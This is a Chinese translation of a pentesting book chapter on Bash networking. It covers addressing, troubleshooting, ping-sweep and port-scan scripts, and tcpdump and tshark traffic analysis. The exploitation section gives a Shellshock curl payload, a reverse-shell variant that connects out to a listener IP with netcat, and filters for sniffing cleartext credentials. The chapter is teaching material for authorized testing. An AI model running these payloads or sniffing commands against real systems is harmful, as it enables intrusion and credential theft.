面向渗透测试者的 Bash 脚本编程(二)
原文:
annas-archive.org/md5/cf34f1eb5597431cf072cd50824c69f9译者:飞龙
第六章:Bash 网络
在第五章中,您学会了如何使用函数使代码更加健壮。本章将在前几章的基础上,通过将所学应用到与网络和网络利用相关的实际渗透测试任务中来进行扩展。
本章深入探讨Bash 网络。我们将对一些命令和脚本进行巡览,这些命令和脚本能够让你在 Unix/Linux 环境中配置、排查故障并利用网络。你将不仅学习如何访问网络配置细节和与网络组件互动,还将学习如何使用 Bash 脚本利用脆弱的网络服务。我们将从基础开始,然后逐步深入更高级的概念,直到网络流量分析。
本章结束时,您将能够识别网络配置细节,理解 Bash 中的网络诊断,枚举 Bash 中的网络服务,自动化网络扫描工具和链式攻击序列,并探索 Bash 脚本中的利用和后期利用命令。
在本章中,我们将覆盖以下主要主题:
-
Bash 中的网络基础
-
使用 Bash 脚本进行网络枚举
-
网络利用的 Bash 技巧
-
Bash 脚本用于网络流量分析
技术要求
本章的代码可以在github.com/PacktPublishing/Bash-Shell-Scripting-for-Pentesters/tree/main/Chapter06找到。
跟随其中一个利用练习,您需要下载并运行已配置Shellshock漏洞的vulhub(github.com/vulhub/vulhub)。
在 Kali 中安装所需工具,方法是在终端运行以下命令:
$ sudo apt install -y net-tools tshark ipcalc sipcalc
在配置好系统并跟随操作之后,我们将在下一节深入探索 Bash 中的网络内容。
Bash 中的网络基础
好的,让我们深入了解互联网协议(IP)地址和子网。IP 地址有两种类型:IP 版本 4(IPv4)和IPv6。您通常会使用 IPv4 地址,但了解两者的基础知识也是有帮助的。
IP 地址就像街道地址。它们帮助设备通过网络相互通信。每个设备在连接到网络时都会被分配一个唯一的 IP 地址。
理解 IP 地址和子网(IPv4)
IPv4 是 IP 的第四个版本。它是当前世界上最广泛使用的 IP 版本。IPv4 地址是 32 位数字值,以四个八位字节(octets)表示,每个八位字节之间用句号隔开。每个八位字节的范围是0到255,总共可以组成超过四十亿个唯一地址。
一个 IPv4 地址由四个由句号隔开的部分组成。以下是一个 IPv4 地址的示例:192.168.1.1。让我们为您逐步解析:
-
该文档分为四个部分,每个部分由一个句号隔开。
-
每个部分称为一个八位字节。
-
192代表第一个八位字节。 -
168代表第二个八位字节。 -
1代表第三个八位字节。 -
1代表第四个八位字节。
IPv4 地址中的每个八位字节的值可以在0和255之间,形成一个 32 位的地址空间。
在 Bash 中查看 IP 地址的命令是ip address,可以缩写为ip a。在较老的 Linux 系统中,你可能会遇到已经弃用的ifconfig命令,它执行相同的功能。让我们看一个示例:
图 6.1 – 获取 IP 地址信息的示例命令
上述命令输出显示了两个网络接口,lo和eth0。你可能会在你的系统上看到不同的接口名称,并且可能有不止两个接口。
lo接口,也称为回环适配器,是一个允许计算机将数据包发送并接收给自己的网络组件,用来模拟真实的网络连接。它被分配了 IP 地址127.0.0.1,通常称为localhost,使得软件应用可以在没有外部网络干预的情况下测试内部网络通信,这对于调试和开发至关重要。此外,它通过允许服务绑定到此地址,从而只能本地访问,增强了安全性,防止外部威胁和未经授权的访问。
eth0接口被分配了192.168.61.128的 IPv4 地址。它是我的系统用来在网络上进行通信的网络接口。
在 IP 地址后面,你可以看到一个斜杠(/)和一个数字。这就是子网掩码,有时也称为netmask。子网掩码标识网络地址。为了更好地理解这一点,我们使用一种称为按位与的过程。我们将 IP 地址和子网掩码转换成二进制,然后进行按位与操作。按位与操作仅在两个二进制位都为1时结果为1,否则结果为0(零)。
让我们使用ipcalc程序来可视化这些信息。你可以通过运行sudo apt install -y ipcalc命令来安装它。让我们看一个示例:
图 6.2 – ipcalc 命令的示例
在前面的图中,我们将 IP 地址和子网掩码作为参数传递给ipcalc程序。首先,查看这些地址的二进制结构。如果每个部分是八位二进制位,并且有四个部分,那么 IPv4 地址总共有 32 位。
/24子网掩码意味着网络地址是 24 位。查看前面图中以Netmask开头的那一行。它显示网络地址是 24 位,剩下 8 位用于该网络上的主机地址。
表示网络地址和广播地址的 IP 地址不能分配给主机。这意味着在一个 /24 或 255.255.255.0 子网掩码的网络中,网络地址是 192.168.61.0,第一个可用的主机地址是 HostMin 值,最后一个可用的主机地址是 HostMax 值。
通常,一个名为 路由器 的网络设备会占用网络上第一个可用的 IP 地址。在本例中,这个地址是 192.168.61.1。最后一个地址,192.168.61.255,是 广播地址。广播地址是在主机需要发送数据给网络上的所有 IP 地址时使用的地址。NetMin 和 NetMax 值位于网络地址和广播地址之间。
网络和网络地址的内容要复杂得多,许多大部头的书籍已经专门讨论了这个主题。为了简化起见,我们将重点与本书的主题相关,并保持简洁。
理解 IP 地址和子网(IPv6)
IPv6,作为 IP 的最新版本,旨在解决 IPv4 地址耗尽的问题,通过使用 128 位地址空间,相比于 IPv4 的 32 位地址空间。这种地址空间的指数级增长使得 IP 地址几乎是无限的,可以满足越来越多的连接互联网的设备需求。每个 IPv6 地址由八组四个十六进制数字组成,组与组之间用冒号分隔,这可以表示极为广泛的 IP 地址范围,非常适合现代网络的庞大需求。
在下图中,IPv6 地址已被高亮显示。
图 6.3 – IPv6 的 ip 命令
ipcalc 程序也可以处理 IPv6 地址;然而,Sipcalc 提供了更多功能,并且默认情况下显示更多关于 IPv6 的信息。可以通过输入 sudo apt install -y sipcalc 命令安装 Sipcalc。以下图示展示了如何使用 sipcalc:
图 6.4 – 使用 sipcalc 工具
为了保持话题的聚焦,我们只深入探讨到这里,关于 IPv6 地址的内容到此为止。然而,我们将在稍后的 第十章 中回顾常见的 IPv6 攻击。
我们的网络接口可以从 动态主机配置协议(DHCP) 服务器获取地址,或者可以设置静态地址。要确定我们的网络接口是如何配置的,请输入以下命令:
$ nmcli device show eth0
下面是解释:
-
nmcli:控制 NetworkManager 的命令行工具 -
device:nmcli的一个子命令,允许你显示和管理网络接口 -
show:显示设备的详细信息 -
eth0:没有参数时,所有设备都会被检查;若要获取特定设备的信息,必须提供接口名称
以下示例展示了我在 Kali 系统上的输出:
图 6.5 – 示例 nmcli 命令输出
在学习了如何列举网络设置之后,让我们继续前进,探索如何在 Bash 中配置网络接口。
使用 Bash 命令配置网络接口
好的,让我们深入了解如何使用 Bash 命令配置网络接口。
要使用 Bash 命令配置网络接口,你可以使用 ip 命令。以下是如何在接口上设置静态 IP 地址的示例:
$ sudo ip addr add 192.168.1.10/24 dev eth0
$ sudo ip link set eth0 up
ip addr 命令将 192.168.1.10 的 IP 地址和子网掩码 255.255.255.0(在 CIDR 表示法中为 /24)添加到 eth0 接口。ip link 命令将 eth0 接口启用。
你还可以使用 route 命令添加默认网关。以下是一个示例:
$ sudo ip route add default via 192.168.1.1 dev eth0
该命令用于操作 IP 路由表。这将添加默认路由并将其明确关联到 eth0 接口。
你可以通过单独输入 route 命令来查看路由表。
请记住,这些命令可能需要 root 权限才能成功执行。更改网络配置时请始终保持谨慎。
使用 Bash 工具排除网络连接问题
当你在 Linux 系统上遇到网络连接问题时,试图找出问题所在可能会让人沮丧。幸运的是,有许多强大的命令行工具可以帮助你快速诊断和解决网络问题。在本节中,我们将介绍一些最有用的网络故障排除命令,并展示如何有效使用它们。
排查网络问题的第一步是确保你的网络接口已启动并正确配置。ip 命令是较旧的 ifconfig 命令的现代替代品,提供关于网络接口和设置的详细信息。
要列出网络接口的详细信息,请使用 ip link 命令,如下图所示:
图 6.6 – 使用 ip link 显示网络接口配置
这将显示每个接口的名称、状态(UP** / DOWN**)和 MAC 地址。如果某个接口应该是启用状态但却处于关闭状态,你可以启用它:
$ sudo ip link set eth0 up
要查看接口的 IP 地址配置,你可以这样做:
$ ip address show eth0
这将显示接口的 IP 地址、子网掩码、广播地址等信息。如果接口应该有 IP 地址但没有,那么可能是 DHCP 或 /etc/network/interfaces 文件中的静态 IP 配置有问题。
一旦你确认接口已启动并具有 IP 地址,下一步是使用 ping 测试与其他主机的基本连通性。Ping 使用 Internet Control Message Protocol(ICMP)回显请求来测试远程主机是否可达。
要通过 IP 地址或主机名 ping 一个主机,请参见以下示例:
$ ping 8.8.8.8
ping google.com
如果主机可达,您将看到类似以下的回复:
64 bytes from 8.8.8.8: icmp_seq=1 ttl=128 time=12.8 ms
如果主机无法访问,您最终会看到类似下面的超时消息:
From 192.168.1.10 icmp_seq=2 Destination Host Unreachable
这可能表示远程主机存在问题,或网络路径上存在连接问题。
若要获取有关连接在哪一段路径上断开更多信息,请使用traceroute命令。traceroute会显示从主机到目标之间的每一个网络跳数,并显示每个跳数的延迟,如下图所示:
图 6.7 – traceroute 程序执行示例
输出显示了源和目标之间每个路由器的 IP 地址、延迟和反向 DNS 名称(如果可用)。这有助于识别问题,如高延迟链路或未响应的路由器。
如果跟踪在到达目标之前突然停止,通常说明在该跳数处存在连接问题。问题可能由下行链路故障、配置错误的路由器或防火墙阻塞流量引起。如果看到星号,通常意味着设备未响应或 ICMP 包被阻塞。
许多连接问题是由 DNS 名称解析问题引起的。如果主机名无法正确解析为 IP 地址,您将无法连接到它们。nslookup 和 dig 工具可以帮助您测试 DNS 查找并查看结果。
若要使用 nslookup 查找主机名的 IP 地址,请输入 nslookup 命令后跟主机名,如下所示:
图 6.8 – nslookup 命令示例
这将查询您配置的 DNS 服务器,并显示名称解析到的 IP 地址。-query 选项(或其简写 -q)允许您指定要查找的 DNS 记录类型。以下是一些示例。
这查找与 example.com 关联的 IPv4 地址:
$ nslookup -query=A example.com
这将检索 example.com 的 IPv6 地址:
$ nslookup -query=AAAA example.com
这将查找处理 example.com 邮件的邮件服务器:
$ nslookup -query=MX example.com
这列出了 example.com 域的权威名称服务器:
$ nslookup -query=NS example.com
要获取更详细的信息,请使用 dig,如这里所示:
图 6.9 – 使用 dig 命令的演示
dig 输出原始 DNS 响应,包括查询、答案以及各种 DNS 标志和选项。这对于诊断低级别 DNS 问题非常有用。
如果查找失败或返回错误的结果,可能是 /etc/resolv.conf 中的 DNS 服务器配置存在问题,或者 DNS 服务器本身出现故障。
最后,在排查网络问题时,别忘了检查相关日志以寻找线索。在 Kali 和 Debian 系统中,系统日志存储在 /var/log 目录下。
与网络问题相关的关键日志文件包括以下内容:
-
/var/log/syslog: 一般系统消息 -
/var/log/kern.log: 内核消息,包括网络驱动问题 -
/var/log/daemon.log: 来自后台服务的消息 -
/var/log/apache2/error.log: Web 服务器错误 -
/var/log/mysql/error.log: 数据库错误
使用 tail 、less 或 grep 等工具查看日志并搜索相关信息。我们来看几个使用案例。
例如,下面是如何查看 syslog 中最后 100 行日志:
$ tail -n 100 /var/log/syslog
下面是如何在 kern.log 中搜索 eth0 的相关内容:
$ grep eth0 /var/log/kern.log
如果你收到错误消息说这些日志文件不存在,系统可能正在使用 journald。要按逆序(最新的在前)查看 journald 日志并仅显示错误,可以使用以下命令:
$ journalctl -r -p err
错误消息或日志中的警告通常能指引你解决问题的方向。
通过利用这些 Linux 命令行工具,你可以系统地测试和诊断 Debian 系统上的网络问题。首先使用 ip 检查接口状态,然后使用 ping 和 traceroute 进行连接性测试。使用 nslookup 和 dig 验证 DNS 解析。最后,不要忽视查看日志以查找相关的消息。
虽然掌握这些工具需要一些实践,但学会它们对于任何渗透测试者来说都是一项无价的技能。它们将帮助你迅速找出复杂网络问题的根源。
在彻底讲解了网络接口枚举、配置和故障排除后,接下来我们将探讨如何在网络枚举中使用 Bash 脚本进行自动化。
网络枚举脚本编写
作为渗透测试者,最基本的任务之一是发现网络上哪些主机是活动的并且可达的。这些信息对于绘制网络拓扑图、识别潜在的测试目标以及确保网络可见性至关重要。虽然有很多工具可以用于网络发现,但有时最简单且最有效的方法是编写你自己的 Bash 脚本。在本节中,我们将探讨如何利用 Bash 脚本发现网络中的活动主机。
主要目标是确定给定网络上的哪些 IP 地址响应网络请求,表明主机在该地址上是活动且可达的。网络发现的最常见方法是使用 ICMP 回显请求,也叫做 ping。当你 ping 一个 IP 地址时,你的机器会向该地址发送一个 ICMP 回显请求包。如果该地址上的主机是活动的,它将回应一个 ICMP 回显响应包。通过系统地 ping 一系列 IP 地址,你可以绘制出网络上哪些主机是响应的。
另一种方法是扫描每个 IP 地址的开放端口。如果某个主机有响应 TCP SYN 扫描或完全的 TCP 连接扫描的开放端口,即使它不响应 ping,也可以强烈表示该主机是活跃的(有些主机会被配置为不响应 ICMP)。常见的端口包括 TCP 80 (HTTP),443 (HTTPS),22 (SSH) 等,具体端口取决于你期望在网络中找到的服务。
你可能会想,既然已有很多像 Nmap 这样的工具可以用于网络发现,为什么还要写 Bash 脚本呢?虽然这些工具无疑非常强大,并且有其适用的场景,但创建自己的 Bash 脚本也有一些优点:
-
简洁性 :Bash 脚本可以非常简单和简洁。你可以用几行 Bash 编写一个基础的网络发现脚本。
-
便携性 :Bash 几乎可以在每个 Linux/Unix 系统上使用。你的 Bash 脚本可以在任何安装有 Bash 的机器上运行,无需额外安装其他工具。最终,你可能会遇到这样的场景:你已经入侵了一个系统,需要从该系统转向另一个网络,但无法在主机上安装任何东西。
-
学习 :编写你自己的网络发现脚本是学习 Bash 脚本编写的好方法,同时也能更好地理解网络枚举的底层过程。
所以,让我们看看如何利用 Bash 来发现活跃的主机。
这是一个简单的 Bash 单行命令,用来 ping 一个 IP 地址范围,并打印出响应的地址:
$ for ip in 10.0.1.{1..254}; do ping -c 1 $ip | grep "64 bytes" | cut -d " " -f 4 | tr -d ":" & done
让我们分解一下这个:
-
for ip in 10.0.1.{1..254}; do:这会启动一个for循环,遍历10.0.1.1到10.0.1.254的 IP 地址。{1..254}是 Bash 的花括号扩展,一种生成序列的便捷方式。 -
ping -c 1 $ip:这会对当前循环中的 IP 地址进行 ping 操作。-c 1选项表示只发送一个 ping 数据包。 -
grep "64 bytes":这会过滤 ping 输出,只保留包含"64 bytes"的行,表示成功的 ping 响应。 -
cut -d " " -f 4:这会截取过滤后的 ping 输出中的第四个字段,即响应的 IP 地址。 -
tr -d ":":这会去掉 IP 地址末尾的冒号。 -
& done:在最后加上&字符,可以将每个 ping 进程放到后台运行,允许循环在不等待每个 ping 完成的情况下继续执行。done关键字用于结束for循环。
运行这个单行命令将快速 ping 完 10.0.1.0/24 网络中的所有 254 个地址,并打印出响应的地址,从而获得活跃主机的列表。你可以通过修改 10.0.1 部分来轻松更改网络。
Ping 是一个不错的起点,但如前所述,某些主机会阻止 ping,并且防火墙通常会限制 ping ICMP 数据包。一个更彻底的方法是扫描每个 IP 的一些常见端口,查看是否有响应。以下是一个 Bash 脚本,它会先对每个 IP 地址进行 ping,然后快速扫描一些常见端口进行 TCP 连接:
#!/usr/bin/env bash
network="10.0.1"
ports=(22 80 443 445 3389)
for host in {1..254}; do
ip="$network.$host"
ping -c 1 $ip >/dev/null 2>&1
if [ $? -eq 0 ]; then
echo "$ip is up"
fi
for port in "${ports[@]}"; do
timeout 1 bash -c "echo >/dev/tcp/$ip/$port" >/dev/null 2>&1
if [ $? -eq 0 ]; then
echo "port $port is open on $ip"
fi
done
done
这个脚本执行以下操作:
-
它定义了要扫描的网络(10.0.1)和要检查的端口(
22、80、443、445和 3389)。 -
它开始在
{** **1..254}网络中的所有主机地址上循环。 -
它 ping 测试每个主机。如果 ping 测试成功(退出状态 0),则打印主机已启动。
-
对于每个主机,接着它会循环检查定义的端口。
-
对于每个端口,它使用 Bash
/dev/tcp功能尝试建立 TCP 连接。timeout 1命令在一秒后中止连接尝试,以避免在无响应的端口上挂起。 -
如果 TCP 连接成功,它会打印端口在主机上是开放的。
这个脚本通过检查 ping 响应性和开放端口,提供了网络上活动主机的更全面视图。你可以轻松定制ports数组,以包含任何你想要检查的端口。
Bash 脚本提供了一种简单而强大的方法,用于发现网络上的活动主机。只需几行 Bash 代码,你就可以 ping 测试 IP 地址范围、扫描开放端口,并快速绘制活动主机的地图。这些基本技术可以通过多种方式扩展和定制,以满足你的特定需求。
当然,对于更高级的网络发现和漏洞扫描,你可能更倾向于使用专门的工具,如 Nmap。然而,对于快速检查和简单的自动化,Bash 脚本是你网络测试工具包中的一个宝贵工具。而且,编写自己的发现脚本是提高 Bash 技能、加深对网络枚举过程理解的好方法。
所以下次你需要发现网络上的一些主机时,可以考虑使用文本编辑器编写一个 Bash 脚本。你可能会惊讶于自己能够完成的工作量。
学习了 Bash 中的网络枚举后,在下一部分中,我们将进入网络利用的部分。
网络利用
在本节中,我们将深入探讨如何利用 Web 应用中的命令注入漏洞,这些应用在将数据传递给操作系统命令之前未能过滤用户输入。
网络服务利用
2014 年 9 月,Unix Bash shell 中发现了一个严重漏洞。该漏洞被分配为 CVE-2014-6271 标识符,并被昵称为 Shellshock,由于其严重性和广泛影响,震动了信息安全社区。让我们深入探讨这个漏洞的技术细节,并了解它如何被利用。
Shellshock 漏洞源于 Bash 处理环境变量的方式存在缺陷。具体来说,它允许攻击者通过以特制方式操控环境变量来执行任意命令。
在 Bash 中,环境变量可以按照以下格式定义:
VAR=value
然而,Bash 还支持一个名为函数导出的功能,允许定义 shell 函数并将其导出为环境变量。漏洞的产生是因为 Bash 未能正确解析和清理这些函数定义。
这是一个易受攻击的函数定义示例:
ENV=() { ignored; }; echo "Malicious code"
在此案例中,ENV变量被定义为一个执行echo "Malicious code"命令的函数。ignored部分用于绕过 Bash 可能尝试执行的任何前置代码。
当包含此类精心构造的函数定义的环境变量传递给 Bash 脚本或调用 Bash 的程序时,函数定义中的恶意代码会被执行。这使得攻击者能够注入并执行任意命令到目标系统。
现在,让我们分析这个有效载荷:
$ curl -A "() { ignored; }; echo Content-Type: text/plain ; echo ; echo ; /usr/bin/id" http://10.2.10.1:8080/victim.cgi
这个有效载荷利用 Shellshock 漏洞,在目标系统上执行/usr/bin/id命令并获取结果。
这是命令输出:
图 6.10 – Shellshock 漏洞利用的输出
这是有效载荷的解析:
-
curl: 这是一个用于发起 HTTP 请求的命令行工具。 -
-A "() { ignored; };** : **-A选项设置 HTTP 请求的用户代理字符串。在这种情况下,它被设置为一个精心构造的函数定义,利用 Shellshock 漏洞。 -
echo Content-Type: text/plain ; echo ; echo ;: 这些echo命令用于构建有效的 HTTP 响应头和正文。它们确保响应被视为纯文本,并包含必要的换行符。 -
/usr/bin/id: 这是将在目标系统上执行的实际命令。在此情况下,它是id命令,用于检索当前用户的信息。 -
http://10.2.10.1:8080/victim.cgi: 这是目标系统上易受攻击的公共网关接口(CGI)脚本的 URL。
当此有效载荷被发送到易受攻击的 CGI 脚本时,用户代理字符串中的精心构造的函数定义会作为环境变量传递给脚本。Bash,通常用于执行 CGI 脚本,解析环境变量并执行注入的命令(/usr/bin/id)。然后,命令的输出将包含在 HTTP 响应中,允许攻击者获取结果。
在我们之前用来利用 Shellshock 的curl命令中,让我们将命令替换为一个可以使易受攻击系统连接到我们 IP 地址的反向 Shell 命令。
这是我们更新后的利用代码:
$ curl -A "() { ignored; }; echo Content-Type: text/plain ; echo ; echo ; /bin/bash -l > /dev/tcp/10.2.10.99/4444 0<&1 2>&1" http://10.2.10.1:8080/victim.cgi
这个 Bash 命令打开一个反向 Shell 连接:
-
/bin/bash -l: 这会启动一个新的 Bash Shell 会话,作为登录 Shell。 -
> /dev/tcp/10.2.10.99/4444: 这将 Shell 的标准输出(STDOUT)重定向到一个与10.2.10.99IP 地址和端口4444的 TCP 连接。一旦你知道 Linux 中所有内容都是文件或在文件系统中出现时,这个部分就能更容易理解了。 -
0<&1:将标准输入(STDIN)重定向到STDOUT,使从远程主机发送的命令能够被 Shell 执行。 -
2>&1:将标准错误(STDERR)与STDOUT合并,因此所有的 Shell 输出和错误信息都会发送到远程主机。
在执行漏洞利用之前,我们必须准备好通过以下命令捕获反向 Shell 连接:
$ nc -nlvp 4444
这是解释:
-
nc:这是Netcat命令 -
下面是
-** **nlvp 4444参数的分解-
n:仅使用数字 IP 地址,无 DNS -
l:监听入站连接 -
v:详细 -
p 4444:监听器的本地端口号
-
提示
Netcat 几乎可以创建你所需的任何类型的连接,既可以作为客户端,也可以作为服务器。它通常用于端口扫描、文件传输、端口监听,甚至作为渗透测试中的后门。
在一个终端中,我执行 Netcat 命令。然后,在第二个终端窗口中,我执行漏洞利用。在执行 Netcat 命令的终端中,我们看到从10.2.10.1建立了连接。最后,我输入id命令来查看拥有此 shell 的用户(www-data)。
你可以通过下载并运行配置为执行bash/CVE-2014-6271的vulhub (github.com/vulhub/vulhub)进行实验。
提示
在进行渗透测试时,我总是留意那些可能将用户提供的输入传递给操作系统命令的 Web 应用功能。这些功能通常出现在诊断测试中,例如 Web 设备的诊断页面上可能会有 ping 或 traceroute 命令。我还会注意任何看起来可能执行操作系统命令的参数。
在 2016 年,我在西部数据 MyCloud 网络附加存储(NAS)设备的 Web 界面中发现了两个严重的漏洞 (web.archive.org/web/20170119123248/https://stevencampbell.info/2016/12/command-injection-in-western-digital-mycloud-nas/)。引起我注意的细节是看到 HTTP 请求数据中有一个名为cmd的参数。进一步探索后,我发现 cookie 头中的username参数和请求体中的cmd arg参数在将数据传递给 Bash shell 中的命令时,没有正确过滤用户输入。利用这些漏洞,我能够在没有身份验证的情况下以root用户身份执行命令。
在 2023 年一次客户的渗透测试中,我发现了一个 Web 应用程序中的命令注入漏洞,攻击者可以将用户输入传递给 ping 命令。在通过默认凭证进入 Web 应用的管理界面后,我迅速找到了诊断页面。该应用程序过滤掉了大部分用于 Shell 命令注入的字符,但忽略了 Shell 扩展字符。最终,我发现可以在不提供任何身份验证凭证的情况下,向漏洞端点发送请求。虽然应用程序的响应会将你重定向回登录页面,但响应中仍包含了 Bash 命令的输出。这样就导致了以 root 用户身份的未经身份验证的命令注入漏洞。
在这一节中,我仅为你提供了 Bash 中网络利用的一些初步内容。后面的章节将探索更多的利用技巧,并深入讨论 Bash 中的后期利用命令。接下来,我们将重点介绍如何使用 Bash 进行网络流量分析。
网络流量分析
在这一节中,我们将探讨如何使用 Bash shell 中的命令来捕获和分析网络流量。
在我开始渗透测试之前,我从事过各种 IT 工作。曾经,我获得了思科认证网络工程师(CCNA)证书。我所学到的网络和数据包捕获知识对我的渗透测试职业生涯非常有价值。
在你的渗透测试生涯中,可能会遇到一些系统,这些系统已经被别人反复扫描和测试过。到某个时候,你可能会觉得自己不够好,开始质疑自己的能力,或者觉得系统没有漏洞。当这种情况发生时,你就需要更深入地挖掘并跳出思维框架,找出别人忽视的漏洞。更深入地理解网络知识,往往是发现这些漏洞的关键。
捕获并分析网络流量
在我进行内部网络渗透测试的初期步骤中,我首先会使用tcpdump命令进行数据包捕获。tcpdump是一个用于类 Unix 操作系统的命令行数据包分析工具,它允许用户实时捕获并显示网络数据包的内容。
我使用的命令是:
$ sudo tcpdump -i eth0 -w packetcapture.pcap
让这个程序运行五分钟,然后按下Ctrl + C键组合来停止抓取。
解释如下:
-
sudo:接下来的命令需要 root 权限。sudo命令会提升当前用户的权限。 -
tcpdump:tcpdump会打印出网络接口上数据包内容的描述。 -
-i eth0:这是tcpdump命令的参数,用来指定网络接口。 -
-w packetcapture.pcap:这是tcpdump命令的参数,用来将数据写入文件。
接下来,我使用各种tcpdump命令在捕获中搜索有趣的数据。其中一条命令用于检测默认的热备份路由协议(HSRP)密码为cisco。这个tcpdump过滤器在数据包捕获文件中检查 HSRP 中的默认密码(cisco)。HSRP 允许将多个物理路由器配置为具有共享 IP 地址的单个逻辑单元。HSRP 攻击涉及通过注入最大优先级值强制接管活动路由器的角色。这可能导致中间人攻击(MITM)。如果发现系统正在使用默认密码(cisco),这可能导致某人成为路由器并捕获包含敏感数据的流量。
你可以通过从书的 GitHub 存储库下载HSRP_election.cap文件来跟着这个练习。
以下命令演示了如何使用tcpdump命令解析数据包捕获文件,以发现正在使用的 Cisco HSRP 默认密码:
$ tcpdump -XX -r packetcapture.pcap udp port 1985 or udp port 2029 | grep -B4 cisco
这是输出:
图 6.11 - 使用 tcpdump 命令显示 HSRP 凭据的输出
在这个例子中,我们不需要在tcpdump命令前加上sudo,因为我们是从一个捕获文件中读取的。
这是解释的其余部分:
-
-XX:这是一个打印每个数据包数据的命令,包括其链路级标头,以十六进制和 ASCII 码显示。 -
-r packetcapture.pcap:这是一个从数据包捕获文件中读取的命令。 -
udp 端口 1985 或 udp 端口 2029:这是一个筛选器,只显示包含源或目的端口的记录。
-
| grep -B4 cisco:我们将tcpdump命令的输出导入到grep中,搜索单词cisco。-B4选项打印匹配行及其前四行。如果你想打印匹配后的行,请使用-An,其中n是行数。
重要提示
除非你就在运行命令的系统的键盘旁边,否则永远不要尝试对 HSRP 或其他网络路由协议进行中间人攻击。如果攻击失败,你可能会失去对攻击系统的访问权限,无法停止攻击。由此造成的网络中断会让人们非常不开心!通常最好只报告这个漏洞并继续前进,因为利用它会在犯错时造成中断。
其他常被黑客攻击的常见网络协议是Link Local Multicast Name Resolution(LLMNR)和NetBIOS Name Service(NBT-NS)。你可能认为当你在 Web 浏览器、命令行或资源管理器中输入域名如google.com时,DNS 服务器会将名称解析为 IP 地址。然而,Microsoft Windows 操作系统会使用 LLMNR 和 NBT-NS 来尝试在本地网络上定位主机名,如果 DNS 解析失败。由于这些是广播协议并发送给所有主机,它们可能被毒化并潜在被利用。这种情况在企业网络中经常发生,因为软件安装或配置残留在系统上,一旦软件连接的主机被废弃,就会留下这些残留物。就在最近,我在渗透测试中捕获了明文 SQL 服务器凭据,因为一个主机一直在尝试连接一个不再存在且无法通过 DNS 解析的服务器。
我用来检测 LLMNR 和 NBT-NS 的tcpdump命令如下:
$ tcpdump -r packetcapture.pcap udp port 137 or udp port 5355
这会重放packetcapture.pcap文件,过滤任何发送到或从 UDP 端口137和5355的流量。如果这个过滤器检测到任何内容,你可能能够捕获密码哈希或中继连接。这些协议在内部网络渗透测试中很容易被黑客攻击。我们稍后会在第十章中深入讨论这个练习。
以下示例捕获了通过明文 HTTP 发送的凭据。在可能的情况下,你应该始终在你的渗透测试报告中提供概念证明漏洞利用。例如,当你报告发现明文服务如 HTTP 或 FTP 时,提供一个截图展示如何捕获凭据,向系统所有者说明使用明文服务的危害。
在你的终端中,运行以下命令来过滤明文 HTTP 通信:
$ sudo tcpdump -I eth0 -XX 'tcp port 80' | grep -i -B5 pass
以下图显示了渗透测试人员在命令输出中捕获明文凭据的情况:
图 6.12 - 捕获 HTTP 通信中的明文凭据
我经常使用的另一个数据包捕获工具是 Tshark。Tshark 是一个功能强大的命令行网络协议分析器,它与流行的 Wireshark 图形用户界面(GUI)网络协议分析器捆绑在一起。虽然 Wireshark 提供了一个用户友好的界面来捕获和分析网络流量,但 Tshark 允许你从命令行执行类似的任务。Tshark 允许你使用比 Tcpdump 提供的更复杂的捕获过滤器。
如果你的系统上还没有安装 Tshark,你可以通过安装 Wireshark 来获取它。如果你想在无头系统上使用 Tshark,你可以使用以下命令在 Kali 上安装它而不安装 Wireshark GUI:
$ sudo apt install -y tshark
我使用 Tshark 的一个场景是进行 Web 应用渗透测试。在测试网站的整个过程中,我都在终端运行 Tshark。这让我能够发现域名接管漏洞。假设一名 Web 开发者曾经使用过第三方 Web 服务将内容集成到网站中。在某个时刻,他们可能已经放弃了那个第三方域名或让域名过期。如果你能注册那个域名,可能就能将内容注入到 Web 应用中。
这是黑客使用此功能进行漏洞奖励的一个实际案例:
图 6.13 – 一名漏洞奖励猎人发现了一个域名接管机会
以下命令将提醒你潜在的域名接管:
$ sudo tshark -i eth0 -Y "dns.flags eq 0x8183"
以下图像显示当你的 DNS 服务器无法解析某个域名时,你将看到的内容:
图 6.14 – 示例输出显示了可能的域名接管机会
如果在我的 Web 应用渗透测试过程中,在控制台中发现这个输出,我会尝试在应用中定位这个域名被调用的资源,通过查找我的代理历史记录。一旦找到调用该域名的资源,我会进一步调查,确定是否可以注册该域名,并评估对应用的影响。这就是一个可能的域名接管机会。
在探索了捕获和分析网络流量的介绍后,让我们进入下一部分,深入研究数据包捕获。
解释数据包捕获
Tshark 字段允许你指定想要从捕获的数据包中提取并显示的具体信息。通过使用字段,你可以集中关注相关数据并过滤掉杂乱的信息,从而使得分析和解释网络流量变得更加容易。使用字段有两种基本方式:显示字段(-e)和过滤字段(-Y)。显示字段指定你希望在输出中显示的内容。过滤字段提供了一种根据模式过滤流量的方法。
以下内容将简化显示字段和过滤字段之间的区别:
-
-e从数据包解析中提取特定字段 -
-Y对数据包应用显示过滤器 -
-e选择要显示的内容,-Y过滤显示的内容 -
-e用于输出格式,-Y用于条件过滤 -
使用两者来提取过滤后的字段:
-Y "http.request" -** **e http.host
例如,要仅显示每个数据包的源 IP 地址和目标 IP 地址,你可以使用以下命令:
$ tshark -e ip.src -e ip.dst
要根据字段值应用过滤器,你可以使用 -Y 或 --display-filter 选项,后跟过滤表达式。例如,要仅显示 HTTP 流量,可以使用以下命令:
$ tshark -Y "http"
你可以将字段过滤器与逻辑运算符如 and、or 和 not 结合,创建更复杂的过滤表达式。例如,要显示仅来自特定 IP 地址的 HTTP 流量,可以使用以下表达式:
$ tshark -Y "http and ip.src == 192.168.1.100"
Tshark 中有数百个可用字段,涵盖它理解的所有协议。然而,作为一名网络安全专业人士,你会发现自己大多数时候使用的是一组核心字段。以下是我在工作中最常用的 Tshark 字段:
-
ip.src: 源 IP 地址 -
ip.dst: 目标 IP 地址 -
ip.proto: IP 协议(TCP、UDP、ICMP 等) -
tcp.srcport: TCP 源端口 -
tcp.dstport: TCP 目标端口 -
udp.srcport: UDP 源端口 -
udp.dstport: UDP 目标端口 -
frame.time: 数据包捕获的时间戳 -
http.request.method: HTTP 请求方法(GET、POST等) -
http.request.uri: HTTP 请求的 URI -
http.user_agent: HTTP 客户端的 User-Agent 字符串 -
http.host: HTTP 请求的 Host 头部 -
dns.qry.name: DNS 请求中查询的主机名 -
dns.resp.name: DNS 响应中返回的主机名 -
dns.resp.type: DNS 响应的查询类型(A、AAAA、CNAME等)
源和目标 IP 地址字段(ip.src** / dst**)对于识别参与通信的端点非常有用。你可以迅速发现可疑的 IP 地址或跟踪主机之间的对话。
